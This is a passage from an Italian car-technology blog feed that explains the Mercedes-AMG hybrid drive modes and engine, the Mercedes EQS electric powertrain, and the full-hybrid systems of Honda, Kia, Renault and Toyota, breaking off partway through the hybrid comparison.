<p class="wp-block-paragraph">La &#8220;Sport&#8221; vede salire la percentuale di intervento del motore elettrico al 65% migliorando la risposta dell’acceleratore, riducendo i tempi di cambiata ed anticipando le scalate, con sterzo e sospensioni più dinamici. Successivamente si passa a &#8220;Sport+” che fornisce un boost di spinta che porta la potenza elettrica ad un valore dell’80%. La risposta dell&#8217;acceleratore è ancora più rapida, ed il cambio alla massima velocità di cambiata e sospensioni, sterzo e powertrain più dinamiche. </p>



<p class="wp-block-paragraph">Infine, il &#8220;RACE&#8221; consente la guida altamente dinamica su pista. La funzione di ricarica della batteria ha una logica ideale per la gestione della massima potenza sempre.  Il &#8220;Boost Mode&#8221; per avere il 100% della potenza elettrica può essere azionato tramite il pulsante sinistro del volante e c&#8217;è la possibilità da parte del conducente di stabilire una capienza minima del 30% della batteria per avere sempre la massima prestazione.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
https://www.youtube.com/watch?v=gknsIsynlzc&#038;ab_channel=Mercedes-AMG
</div></figure>



<h2 class="wp-block-heading"><strong>Trazione sempre ottimale per ogni fondo </strong></h2>



<p class="wp-block-paragraph">Lo&nbsp;&#8220;Slippery&#8221;, ottimizza la trazione in condizioni stradali scivolose con una curva di coppia piatta, limitando la potenza elettrica ed ottimizzando le fasi di recupero. La &#8220;Individual&#8221; consente di modificare la trasmissione, AMG DYNAMICS, assetto, sterzo e impianto di scarico secondo le intenzioni dei piloti. </p>



<p class="wp-block-paragraph">La trazione ibrida aiuta anche la gestione della dinamica di guida. Invece dell&#8217;intervento in frenata dell&#8217;ESP, il motore elettrico gestisce l&#8217;azione del differenziale nelle fasi di coast. Quando una ruota segnala uno slittamento eccessivo il sistema di controllo riduce la coppia motrice attraverso il differenziale posteriore a slittamento limitato facendo un uso limitato dell’ESP. </p>



<h2 class="wp-block-heading"><strong>Recupero selezionabile dal conducente </strong></h2>



<p class="wp-block-paragraph">Poiché la batteria ad alte prestazioni si trova sempre nella finestra di temperatura ottimale grazie al raffreddamento diretto migliorando la ricarica nelle fasi passive. Il recupero inizia quando il guidatore toglie il piede dall’acceleratore senza premere il pedale del freno creando una forte coppia frenante utilizzando una guida mono-pedale. Il recupero energetico può essere massimo su pendii ripidi in discesa funzionando come freno motore e ricaricando la batteria.</p>



<p class="wp-block-paragraph">Il conducente può selezionare quattro diversi livelli di rigenerazione utilizzando il pulsante destro del volante AMG. Il Livello 0 consente il rallentamento come se fosse staccata la frizione con la minima resistenza quando si rilascia l&#8217;acceleratore. Il livello di recupero serve solo a mantenere l&#8217;alimentazione della vettura spegnendo il motore a combustione allargando la fase che prima era demandata allo start&amp;stop. </p>



<h2 class="wp-block-heading"><strong>Quattro livelli di recupero </strong></h2>



<p class="wp-block-paragraph">Livello 1 è già percepibile e corrisponde approssimativamente alla decelerazione tipico di un passaggio di marcia inferiore, ricaricando in modo proporzionale. Livello 2 diventa evidente evitando l&#8217;utilizzo del pedale del freno soprattutto per la gestione del traffico. Livello 3 consente il massimo recupero di energia per la guida mono-pedale con una carica fino a 100 kW di potenza in batteria. In RACE è impostato automaticamente al livello 1 per consentire il comportamento del veicolo bilanciato tra prestazioni e recupero energetico.</p>



<h2 class="wp-block-heading"><strong>Motore AMG da 2,0 litri con turbocompressore ibrido </strong></h2>



<p class="wp-block-paragraph">Il motore a quattro cilindri AMG da 2,0 litri è stato interamente sviluppato e costruito secondo lo stile “One Man, One Engine&#8221;. &nbsp;Il motore M139L dove “L” sta per longitudinale. Un propulsore che ha il turbocompressore dalle dimensioni maggiori rispetto allo stesso motore riservato ad altri modelli AMG consentendo una maggiore portata d&#8217;aria e quindi più potenza.  La sovralimentazione ha un turbocompressore ibrido che prevede un motore elettrico alimentato dal sistema a 400 volt posizionato tra le due giranti che agisce su quella di scarico garantendo una risposta rapida nella parte bassa dei giri, quando i gas di scarico non hanno abbastanza energia per mandare a regime la girante di scarico.  Al massimo regime si raggiungono i 150.000 giri/min ed è collegato al circuito di raffreddamento del motore a combustione per garantire sempre una temperatura ideale.</p>



<p class="wp-block-paragraph">L’elettrificazione del turbocompressore consente una coppia maggiore ai bassi regimi e quando si toglie il piede dall&#8217;acceleratore la tecnologia è in grado di conservare la pressione di sovralimentazione migliorando la risposta. </p>



<h2 class="wp-block-heading"><strong>Il 2.0 litri turbo più potente del mondo </strong></h2>



<p class="wp-block-paragraph">Il design del monoblocco del motore M139L offre un elevata rigidità nonostante il peso ridotto pur consentendo pressioni di combustione maggiori. Le aree intorno ai cilindri sono attraversate da condotti più piccoli per il liquido di raffreddamento e l&#8217;olio motore. L&#8217;iniezione di benzina è a doppio stadio. Nella prima fase, gli iniettori piezoelettrici convogliano il carburante nelle camere di combustione a pressioni fino a 200 bar. Al secondo stadio viene aggiunta un iniezione nel condotto di aspirazione attraverso elettrovalvole per aumentate la potenza di combustione del motore.</p>



<p class="wp-block-paragraph">Il sistema di raffreddamento è in grado di raffreddare la testata dei cilindri e il basamento con temperatura differenziata. Lo scopo è di tenere la testata fredda per un’accensione della miscela efficiente mentre il basamento più caldo riduce l&#8217;attrito interno del motore. La testata è raffreddata da una pompa dell&#8217;acqua meccanica ad alte prestazioni mentre il basamento è raffreddato da una seconda pompa dell&#8217;acqua azionata elettricamente. Dopo un avviamento a freddo, questa pompa rimane passiva finché il motore non si è riscaldato. Il funzionamento è regolato dalla centralina motore in modo che il carter sia sempre raffreddato secondo necessità.</p>



<p class="wp-block-paragraph">Il propulsore benzina sviluppa 476 CV a 6725 giri/min e 545 Nm è disponibile a 5250-5500 giri/min, di fatto il 2.0 litri più potente del mondo. Un generatore di avviamento a cinghia (RSG) combina un alternatore e il motorino di avviamento in un unico componente garantendo il funzionamento dei componenti ausiliari come l&#8217;aria condizionata o le luci. Ciò vale anche quando il veicolo si trova a un semaforo e il livello di carica della batteria ad alto voltaggio non è più sufficiente per supportare la rete di bordo ed è integrato nella rete ad alta tensione da 400 volt.</p>



<h2 class="wp-block-heading"><strong>Il cambio AMG SPEEDSHIFT MCT-9G</strong></h2>



<p class="wp-block-paragraph">Il cambio AMG SPEEDSHIFT MCT (Multi-Clutch Transmission) 9G ha una frizione di avviamento in bagno d&#8217;olio che costituisce il convertitore di coppia. Questa soluzione riduce il peso grazie alla sua minore inerzia, ottimizzando la risposta agli input del pedale dell&#8217;acceleratore, soprattutto durante i cambi di carico. Il software, accuratamente calibrato, garantisce tempi di cambiata migliori e rapide scalate multiple soprattutto in &#8220;Sport&#8221; e &#8220;Sport+&#8221;. Infine aggiunge la funzione RACE START per una gestione ottimale dell&#8217;accelerazione ottimale da fermo.</p>



<h2 class="wp-block-heading"><strong>Assetto RIDE CONTROL AMG con Adaptive Damping System</strong></h2>



<p class="wp-block-paragraph">L&#8217;assetto con AMG RIDE CONTROL ed Adaptive Damping System combina maneggevolezza sportiva e comfort. Gli elementi della sospensione sull’assale anteriore hanno snodi dello sterzo e giunti di sospensione appositamente sviluppati sul braccio di controllo della molla, mentre sull&#8217;asse posteriore è presente un’elastocinematica progettata per la dinamica di guida. Lo smorzamento di ogni singola ruota viene adattato tenendo sempre conto del livello preselezionato, dello stile di guida e delle condizioni del manto stradale.</p>



<p class="wp-block-paragraph">Gli ammortizzatori sono realizzati con materiali leggeri che possono spostare una quantità di fluido idraulico significativamente maggiore rispetto ai sistemi convenzionali. Un disco più grande sposta l&#8217;olio nell&#8217;ammortizzatori e viene controllato da due valvole elettroidrauliche esterne. Queste agiscono indipendentemente l&#8217;una dall&#8217;altra per il controllo ed il rilascio della pressione. Il software di controllo del sistema monitorizza continuamente i dati come l&#8217;angolo del volante, la velocità del veicolo, l&#8217;accelerazione e il movimento della scocca. Gli ammortizzatori vengono controllati in pochi millisecondi in base alla richiesta consentendo alle ruote di rimanere sempre ben piantate a terra.</p>



<h2 class="wp-block-heading"><strong>Sterzo parametrico AMG a tre stadi e asse posteriore sterzante</strong></h2>



<p class="wp-block-paragraph">Lo sterzo parametrico AMG a tre stadi presenta un rapporto di geometria variabile che si adatta al programma di guida selezionato. Nelle impostazioni delle sospensioni &#8220;Sport&#8221; e &#8220;Sport+&#8221;, il guidatore riceve anche un feedback significativamente maggiore sulle condizioni di guida tramite il volante.</p>



<p class="wp-block-paragraph">Sull’asse posteriore c’è un angolo di sterzata massimo di 2,5 gradi. La sterzata contraria avviene fino a velocità fino a 100 km/h con un accorciamento virtuale del passo migliorando la stabilità e la manovrabilità.  A velocità superiori ai 100 km/h le ruote posteriori girano parallelamente alle ruote anteriori, fino a un massimo di 0,7 gradi. Questa estensione virtuale del passo ha un effetto positivo sulla stabilità di guida ad alta velocità con una risposta variabile in funzioni della dinamica di guida selezionata.</p>



<h2 class="wp-block-heading"><strong>AMG Dynamics </strong></h2>



<p class="wp-block-paragraph">Anche il sistema di controllo dinamico AMG DYNAMICS influenza le strategie di controllo dell&#8217;ESP (Electronic Stability Program), della trazione integrale e del differenziale posteriore a slittamento limitato a controllo elettronico. Il sistema utilizza i sensori disponibili, per rilevare la velocità, l&#8217;accelerazione laterale, l&#8217;angolo di sterzata e la velocità di imbardata. La regolazione si adatta alle capacità di guida del conducente, con interventi mirati fornendo una sensazione di guida autentica mantenendo un’elevata dinamica in curva, una trazione ottimale, oltre a un&#8217;elevata stabilità.</p>



<p class="wp-block-paragraph">L’AMG DYNAMICS &#8220;Basic&#8221; è assegnato al programma di guida &#8220;Comfort&#8221; ed &#8220;Electric&#8221;. &#8220;Avanzato&#8221; è abbinato al programma &#8220;Sport&#8221; con un ridotto smorzamento dell&#8217;imbardata e la maggiore agilità per strade tortuose. Il &#8220;Pro&#8221; è abbinato al programma &#8220;Sport+&#8221;, fino al &#8220;Master&#8221; è abbinato al &nbsp;&#8220;RACE&#8221; offrendo un bilanciamento leggermente sovrasterzante con uno sterzo più diretto, inoltre è possibile modificare l’ ESP in SPORT o ESP in modalità OFF. Nel programma di guida &#8220;Individual&#8221;, i conducenti possono impostare autonomamente i livelli AMG DYNAMICS &#8220;Basic&#8221;, &#8220;Advanced&#8221;, &#8220;Pro&#8221; e &#8220;Master&#8221;.</p>



<h2 class="wp-block-heading"><strong>Impianto frenante maggiorato </strong></h2>



<p class="wp-block-paragraph">Il sistema frenante composito ad alte prestazioni AMG è dotato di pinze fisse a 6 pistoncini anteriori e pinze flottanti a 1 pistoncino posteriori è montato di serie. Come optional è disponibile un impianto frenante composito in ceramica ad alte prestazioni.</p>
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		<title>Best Engine: La propulsione elettrica di Mercedes-Benz EQS</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 28 Jan 2023 16:38:09 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La nuova piattaforma tecnologica dedicata alle vetture alto di gamma Mercedes-Benz, EVA è attualmente in uso per i modelli EQE ed EQS ed i SUV da esse derivati. In questo articolo analizzeremo nel dettaglio quella che sembra essere punto di riferimento assoluto per la mobilità elettrica. Le vettura che adotteranno questa base tecnologica potranno contare [&#8230;]</p>
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<p class="wp-block-paragraph">La nuova piattaforma tecnologica dedicata alle vetture alto di gamma Mercedes-Benz, EVA è attualmente in uso per i modelli EQE ed EQS ed i SUV da esse derivati. In questo articolo analizzeremo nel dettaglio quella che sembra essere punto di riferimento assoluto per la mobilità elettrica.</p>



<p class="wp-block-paragraph">Le vettura che adotteranno questa base tecnologica potranno contare sulla trazione posteriore (RWD) oppure con un doppio motore, uno per asse per la trazione integrale elettrica, 4MATIC. La versione con un solo motore potrà contare su una potenza di 333cv, mentre la 4Matic avrà un motore posteriore da 347cv ed uno sull’asse posteriore da 184cv.</p>



<h2 class="wp-block-heading" id="h-motore-a-doppio-avvolgimento"><strong>Motore a doppio avvolgimento</strong></h2>



<p class="wp-block-paragraph">Il powertrain Mercedes utilizza motori sincroni con rotore dotato di magneti permanenti. Gli statori sono ad avvolgimento pull-in per sfruttare un campo magnetico con maggiore potenza. In particolare la macchina elettrica usata per l’asse posteriore è dotato di statore a doppio avvolgimento trifase.</p>



<p class="wp-block-paragraph">Questa soluzione, pur non essendo una novità assoluta, viene utilizzato raramente sulle auto elettriche a causa del costo elevato e della necessita di una componente elettronica più complessa per la gestione della potenza su sei fasi.</p>



<p class="wp-block-paragraph">Attraverso il controllo del doppio flusso di energia elettrica, questa soluzione consente di ottenere una doppia erogazione della coppia, simulando di fatto, la presenza di una trasmissione a due velocità. Un vantaggio sia in termini di accelerazione che di gestione della spinta con un elemento compatto, leggero ed efficiente facilmente adattabile all’asse posteriore.</p>



<h2 class="wp-block-heading"><strong>Powertrain compatto e leggero</strong></h2>



<p class="wp-block-paragraph">Il sistema di raffreddamento utilizza un getto d’acqua diretto per controllare la temperatura del rotore. Inoltre sullo statore sono stare ricavate delle nervature per un ulteriore raffreddamento ad aria. L’inverter ha una particolare struttura specificamente progettata per migliorare la dissipazione del calore. La presenza di un radiatore dell&#8217;olio per la trasmissione consente alla gestione elettronica di fornire un guida più fluida ed efficiente anche in condizioni di basse temperature esterne.</p>



<p class="wp-block-paragraph">Essendo un auto che deve rappresentare il top di gamma di Mercedes i tecnici tedeschi hanno concentrato i loro massimo sforzo per ridurre al minimo il rumore e le vibrazioni sia delle due unità propulsive attraverso la particolare disposizione dei magneti all&#8217;interno dei rotori riduce le vibrazioni evitando allo stesso tempo l’uso di terre rare.</p>



<p class="wp-block-paragraph">Un tipo di avvolgimento per lo statore inclinato viene avvolto con uno speciale tappetino in schiuma per ridurre la rumorosità. Il disaccoppiamento avviene tramite cuscinetti elastomerici per la riduzione dell’attrito. L’involucro dell&#8217;inverter, invece, è formato da una struttura composta da tre strati di metallo e plastica.</p>



<h2 class="wp-block-heading"><strong>Zero vibrazioni per il massimo comfort</strong></h2>



<p class="wp-block-paragraph">La parte del telaio che si trova intorno al sistema di propulsione, ed in particolare la cella che custodisce la batteria, sono completamente rivestiti di schiume acustiche isolanti. In più nel portellone posteriore sono presenti dei divisori acustici per ridurre il rumore.</p>



<p class="wp-block-paragraph">Il sistema di ricarica tramite la frenata rigenerativa consente diverse modalità in gestione, sia automatica che manuale tramite l’uso di shift paddles al volante. La potenza di picco in ricarica è tra le più alte in assoluto con 290 kW di frenata rigenerativa massima nelle versioni AWD.</p>



<p class="wp-block-paragraph">In modalità DAuto il livello di frenata raggiunge i 5 m/s², di cui 3 m/s² sono dovuti al freno elettrico e due 2 m/s² alla frenata meccanica fino all’arresto completo del veicolo. Nelle versioni con trazione posteriore, il recupero è più limitato dovendo gestire la trazione su un solo asse.</p>



<h2 class="wp-block-heading"><strong>Trazione integrale con Torque Shift.</strong></h2>



<p class="wp-block-paragraph">La gestione della trazione integrale viene regolata dalla funzione Torque Shift. Il sistema distribuisce in modo intelligente e continuo la coppia motrice tra l&#8217;assale anteriore e quello posteriore con un controllo constante anche 10.000 volte al minuto se necessario.</p>



<p class="wp-block-paragraph">Mercedes-Benz offre due opzioni di batteria con una capacità utilizzabile di 107,8 kWh o 90 kWh con percorrenza secondo il ciclo WLTP dai 640 km ai 770 km. Si tratta di batterie ad agli ioni di litio NCM 811 con il materiale attivo del catodo costituito da nichel, cobalto e manganese in un rapporto di 8:1:1 disposto in celle con custodia rigida. I moduli possono essere 10 o 12 a seconda della capacità per una potenza massima di 400 volt.</p>



<p class="wp-block-paragraph">L’efficienza energetica consente di ottenere un consumo per la EQS 450+, secondo il ciclo di omologazione NEDC combinato, di 19,1-16,0 kWh/100 km. Per la più potente EQS 580 4MATIC+, tale valore si attesta sui 20,0-16,9 kWh/100 km.</p>



<h2 class="wp-block-heading"><strong>Sistema di raffreddamento compatto ed efficiente </strong></h2>



<p class="wp-block-paragraph">Il raffreddamento avviene con sistema a liquido e una piastra di raffreddamento inferiore. Il refrigerante scorre attraverso le cavità degli elementi estrusi in alluminio del telaio di contenimento della batteria e un riscaldatore ausiliario integrato nel circuito. Questo sistema consente di preriscaldare o raffreddare prima o durante la guida gestendo una finestra di temperatura ottimale prima di raggiungere la stazione di ricarica rapida.</p>



<p class="wp-block-paragraph">La ricarica può avvenire con un caricabatterie di bordo da 22 kW di tipo trifase, oppure con carica rapida in corrente continua DC fino a 200 kW con una curva di ricarica più appiattita. Nella massima potenza, la ricarica può avvenire in 15 minuti ottenendo energia sufficiente per 300 km in WLTP per la versione con batteria più grande. La vettura, nei paesi dove è consentita può usare l’opzione ricarica bidirezionale per fornire energia.</p>



<h2 class="wp-block-heading"><strong>Navigazione intelligente per la gestione della carica </strong></h2>



<p class="wp-block-paragraph">Una delle funzionalità che consentirà di gestire al meglio la percorrenza in elettrico è la Navigazione con Electric Intelligence, che combina la navigazione con il database delle infrastrutture di ricarica e il sistema di gestione della batteria pianificando le fermate durante il percorso preparando la batteria per la ricarica alla massima potenza.</p>



<h2 class="wp-block-heading"><strong>Ottimizzazione dell&#8217;Aerodinamica</strong></h2>



<p class="wp-block-paragraph">Pur non essendo un elemento che riguarda direttamente l’analisi della powertrain, la cura per gli aspetti aerodinamici dell’auto assumono un importanza fondamentale. I tecnici tedeschi sono riusciti ad ottenere uno Cx di 0,20, record per un&#8217;auto di serie. Un fattore chiave per aumentare la percorrenza riducendo il consumo di energia.</p>
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		<title>Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Mon, 09 Jan 2023 14:42:29 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La nostra analisi dei sistemi Full Hybrid mette a confronto i quattro costruttori protagonisti della fascia media del segmento “C” e C-SUV del mercato dell’auto. Un range di potenza che van da 122cv ad un massimo di 145cv e sono la Honda HR-V e:HEV, la Kia Niro Hybrid, la Renault Arkana e-Tech e la Toyota [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">La nostra analisi dei sistemi Full Hybrid mette a confronto i quattro costruttori protagonisti della fascia media del segmento “C” e C-SUV del mercato dell’auto. Un range di potenza che van da 122cv ad un massimo di 145cv e sono la Honda HR-V e:HEV, la Kia Niro Hybrid, la Renault Arkana e-Tech e la Toyota CH-R HSD Hybrid. </p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/12/Honda-e-HEV-730x407.jpg" alt="Honda e HEV" class="wp-image-119806" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 230"><figcaption class="wp-element-caption">Sistema full hybrid serie Honda e:HEV</figcaption></figure>



<h2 class="wp-block-heading" id="h-dal-sistema-in-serie-a-quello-parallelo-passando-per-soluzioni-miste"><strong>Dal Sistema in serie a quello parallelo passando per soluzioni miste </strong></h2>



<p class="wp-block-paragraph">Come sempre l’obiettivo è quello di far conoscere al lettore, automobilista, la tecnologia Full Hybrid che a differenza di quella elettrificata pura, ha spunti tecnici interessanti. Tutti i costruttori, infatti, provano a raggiungere lo stesso obiettivo, quello di offrire un buon rapporto prestazioni/consumi, provando a sostituire il vecchio diesel sempre meno presente nella gamma seguendo la propria filosofia. Di fatto la tecnologia ibrida rappresenta un ponte concreto verso il raggiungimento dell&#8217;elettrificazione totale.  </p>



<p class="wp-block-paragraph">I Full Hybrid si dividono in quatto tipologie: ibridi seriali, paralleli, o misti serie/parallelo o viceversa a seconda della predominanza della componente elettrica o benzina. Le differenze tra una tipologia e l&#8217;altra non solo incide sui costi, ma anche sul carattere e sulla guida. Infatti, uno dei fattori che l&#8217;automobilista che si approccia a questi sistemi per la prima volta deve affrontare è proprio un cambio di guida indispensabile per sfruttarli al massimo del loro potenziale. </p>



<h2 class="wp-block-heading">Honda e:HEV l&#8217;unico seriale di potenza media </h2>



<p class="wp-block-paragraph">Nel dettaglio, il sistema seriale è utilizzato da Honda HR-V e:HEV. Ha predominanza la parte elettrica, che rappresenta anche la potenza di sistema,  mentre a quella endotermica è dato il compito prevalente di fornire energia alla batteria.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/12/bW1k2K-730x456.jpg" alt="bW1k2K" class="wp-image-119807" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 231"><figcaption class="wp-element-caption">Sistema Kia HEV </figcaption></figure>



<h2 class="wp-block-heading" id="h-kia-full-hybrid-parallelo-con-un-occhio-alle-prestazioni">Kia Full Hybrid, Parallelo con un occhio alle prestazioni </h2>



<p class="wp-block-paragraph">Kia per Niro ha previsto un sistema di tipo parallelo puntando tutto su semplicità e versatilità. La componente principale del sistema è quella endotermica con il motore elettrico che viene inserito nella trasmissione risultando facilmente adattabile ad ogni unità motrice. L&#8217;utilizzo di una trasmissione tradizionale consente al conducente di adottare uno stile di guida più in linea con la vettura che lascia lasciando alla gestione automatica l&#8217;interazione tra benzina ed elettrico. </p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/12/B_renault-e-tech-hybride-renautl-clio-fahrbericht-bigmobilewide-bda775c8-1707486-730x411.jpg" alt="B renault e tech hybride renautl clio fahrbericht bigmobilewide bda775c8 1707486" class="wp-image-119808" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 232"><figcaption class="wp-element-caption">Sistema Renault E-Tech Full Hybrid </figcaption></figure>



<h2 class="wp-block-heading" id="h-renault-e-tech-e-toyota-hsd-misto-per-bilanciare-prestazioni-ed-efficienza">Renault E-Tech e Toyota HSD, misto per bilanciare prestazioni ed efficienza </h2>



<p class="wp-block-paragraph">I sistemi misti sono diversi a seconda della predominanza delle due unità motrici. Nel caso del Parallelo/Seriale, come il Renault e-Tech, il motore endotermico è prevalente, nel caso dei Seriali/Paralleli, come in Toyota; invece, si tende ad avere un maggiore equilibrio tra la parte elettrica e quella benzina. In entrambi i casi il controllo può gestire il funzionamento in serie utilizzando l’endotermico come generatore o in parallelo unendo la spinta di entrambi i propulsori, in base alla richiesta del conducente secondo le logiche di gestione decise dal costruttore. In ogni caso il guidatore può intervenire con comandi manuali per decidere la logica di funzionamento. </p>



<h2 class="wp-block-heading" id="h-l-esame-delle-motorizzazioni-endotermiche"><strong>L&#8217;esame delle motorizzazioni endotermiche </strong></h2>



<p class="wp-block-paragraph">L’ analisi tecnica dettagliata parte scomponendo gli elementi dei sistemi analizzando la parte endotermica, quella elettrica, le modalità di ricarica ed le prestazioni in funzione dei consumi ottenuti. L’unità endotermica verrà indicata dall&#8217;acronimo ICE come previsto negli schemi tecnici dei vari costruttori.</p>



<p class="wp-block-paragraph">Cominciando dal sistema e:HEV di Honda utilizza un motore benzina codice LEC3. Si tratta di un quattro cilindri 1.5 litri con tecnologia i-Vtec a fasatura variabile e ciclo Atkinson superando di slancio il 40% di rendimento ed efficienza. Il suo compito prevalente è quello di collegarsi ad un secondo motore elettrico e fungere da generatore per la batteria. Proprio il suo alto valore di rendimento energetico, consente ai progettisti di Honda, di variare il funzionamento del sistema seriale usando il motore endotermico nelle fasi di veleggiamento a velocità costante superati gli 80Km/h. La logica usata dai progettisti Honda è quella di alternare sulle ruote il propulsore più efficiente quando può funzionare al meglio del suo rendimento. A gestire il tutto la CPU che lascia la conducente solo la scelta della mappatura per lo sviluppo delle prestazioni piuttosto che dei consumi. Non è prevista, infatti, una modalità EV a comando manuale, che invece rimane sulla sorella maggiore CR-V e:HEV </p>



<figure class="wp-block-image size-full"><img decoding="async" width="266" height="189" src="https://www.giornalemotori.com/wp-content/uploads//2022/12/images.jpg" alt="images" class="wp-image-119809" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 233"><figcaption class="wp-element-caption">Sistema Toyota HSD Full Hybrid </figcaption></figure>



<h2 class="wp-block-heading" id="h-honda-1-5-litri-i-vtec-ciclo-atkinson-record-di-efficienza">Honda 1.5 litri i-VTEC ciclo Atkinson, record di efficienza </h2>



<p class="wp-block-paragraph">Il quattro cilindri Honda eroga 107cv, il più alto del lotto. La coppia, invece, di 131Nm è la più bassa del lotto. Pur essendo un motore destinato a fungere da generatore, il suo alto valore di potenza consente di usare l&#8217;unità endotermica per generare elettricità anche attraverso l&#8217;azione diretta dell&#8217;Inverter sostituendosi in parte alla batteria. Un funzionamento si distingue in modo netto da una tecnologia analoga come come il range extender dove il benzina funge da generatore a regime pressappoco costante. </p>



<h2 class="wp-block-heading" id="h-kia-1-6-gdi-semplice-ed-efficiente">Kia 1.6 GDI, semplice ed efficiente </h2>



<p class="wp-block-paragraph">Il motore Kia è più semplice. Si tratta del propulsore G4LE 1.6 litri con 106cv e 144Nm di coppia. Pur avendo un funzionamento ottimizzato grazie al sistema ad iniezione diretta messo appunto da Kia, con soli 100cm3 di cilindrata riesce ad erogare una maggiore quantità di coppia. Un valore fondamentale per la gestione del sistema parallelo puro. I due propulsori, quello endotermico e quello elettrico lavorano in simbiosi in un ampia fascia della curva di coppia dove entrambi contribuiscono a fornire la prestazione agendo sulle ruote in modo diretto. Quando il motore elettrico smette di spingere infatti, è il 1.6 litri a diventare protagonista raccogliendo il testimone continuando a generare potenza e coppia nella fase di allungo.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/12/hyundai-g4le-825x400-1-730x354.jpg" alt="hyundai g4le 825x400 1" class="wp-image-119810" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 234"><figcaption class="wp-element-caption">Motore benzina Kia G4LE</figcaption></figure>



<h2 class="wp-block-heading" id="h-renault-1-6-litri-la-spalla-perfetta-del-sistema">Renault 1.6 Litri, la spalla perfetta del sistema </h2>



<p class="wp-block-paragraph">Il propulsore Renault è anch’esso 1.6 litri codice H4M 632 ed eroga solo 97cv, quindi il meno potente del lotto. La coppia corposa di 148Nm è ottenuta grazie ad una mappatura che premia le fasi intermedie di utilizzo piuttosto che la potenza. Il sistema e-Tech in particolare, pur essendo di tipo misto, sfrutta il motore endotermico più per una gestione seriale abbinato ad un secondo moto-generatore separato. La coppia massima di sistema non viene ne sommata ne influenzata da quella del motore endotermico che funge da supporto. Vien da se che mancando la parte elettrica quando la batteria è scarica, il motore aspirato Renault fa una certa fatica a raccogliere il testimone per garantire l&#8217;allungo a differenza di quanto succede con Kia. Da qui la scelta tecnica di utilizzare il moto-generatore per la carica anche come boost per un aumento di coppia e potenza temporaneo.  </p>



<h2 class="wp-block-heading" id="h-toyota-1-8-litri-ciclo-atkinson-piu-grande-ma-meno-potenza">Toyota 1.8 litri ciclo Atkinson, più grande ma meno potenza</h2>



<p class="wp-block-paragraph">Il propulsore Toyota&nbsp;<strong>2ZR-FXE</strong>&nbsp;è una variante a ciclo Atkinson del già noto 1,8 litri (1.798 cc) della 2ZR-FE.&nbsp;Ha lo stesso alesaggio e corsa, ma il rapporto di compressione è aumentato a 13,0:1. Il ciclo è ottenuto grazie alla chiusura della valvola di aspirazione ritardata, cosa che lo assimila più ad un ciclo Miller che ad un Atkinson.&nbsp;Il lavoro fatto dai progettisti Toyota limita al minimo il lavoro negativo fatto nella fase di compressione migliorando il rendimento.&nbsp;La potenza è piuttosto bassa con 98 CV e 142 Nm di coppia con una potenza specifica molto bassa di 55,4 cv/litro e con un efficienza termica non molto lontana dai livelli Honda.</p>



<p class="wp-block-paragraph">La scelta operata dai tecnici Toyota, quindi, punta ad avere una maggiore interazione tra la parte elettrica e quella endotermica. Il motore benzina può fungere da generatore attraverso il moto-generatore dedicato da 25cv, ma anche funzionare in parallelo sovrapponendo le due curve di coppia per un erogazione molto più corposa nelle fasi intermedie ed allungando l&#8217;intervallo in cui i due propulsori lavorano all&#8217;unisono nelle fasi di allungo. </p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/12/toyota-2zr-fxe-825x400-1-730x354.jpg" alt="toyota 2zr fxe 825x400 1" class="wp-image-119811" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 235"><figcaption>Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 246</figcaption></figure>



<h2 class="wp-block-heading" id="h-la-componente-elettrica"><strong>La componente elettrica </strong></h2>



<h2 class="wp-block-heading" id="h-honda-l-elettrico-e-protagonista">Honda l&#8217;elettrico è protagonista </h2>



<p class="wp-block-paragraph">La componente elettrica di Honda è composta da un motore elettrico principale da 131cv e 254Nm di coppia e di un motore secondario per la ricarica collegato al benzina. Essendo un sistema seriale eroga potenza e coppia come una macchina elettrica, quindi in modo istantaneo per poi diventare costante nel progredire dei giri. Un tipo di funzionamento che da il meglio di se nelle fasi di ripresa. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="720" height="720" src="https://www.giornalemotori.com/wp-content/uploads//2022/12/m_r.jpg" alt="m r" class="wp-image-119812" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 236" srcset="https://www.giornalemotori.com/wp-content/uploads/2022/12/m_r.jpg 720w, https://www.giornalemotori.com/wp-content/uploads/2022/12/m_r-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2022/12/m_r-300x300.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2022/12/m_r-696x696.jpg 696w" sizes="(max-width: 720px) 100vw, 720px" /><figcaption>Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 247</figcaption></figure>



<h2 class="wp-block-heading" id="h-kia-l-elettrico-a-supporto-e-sostegno-attivo-alla-potenza">Kia: L&#8217;elettrico a supporto e sostegno attivo alla potenza </h2>



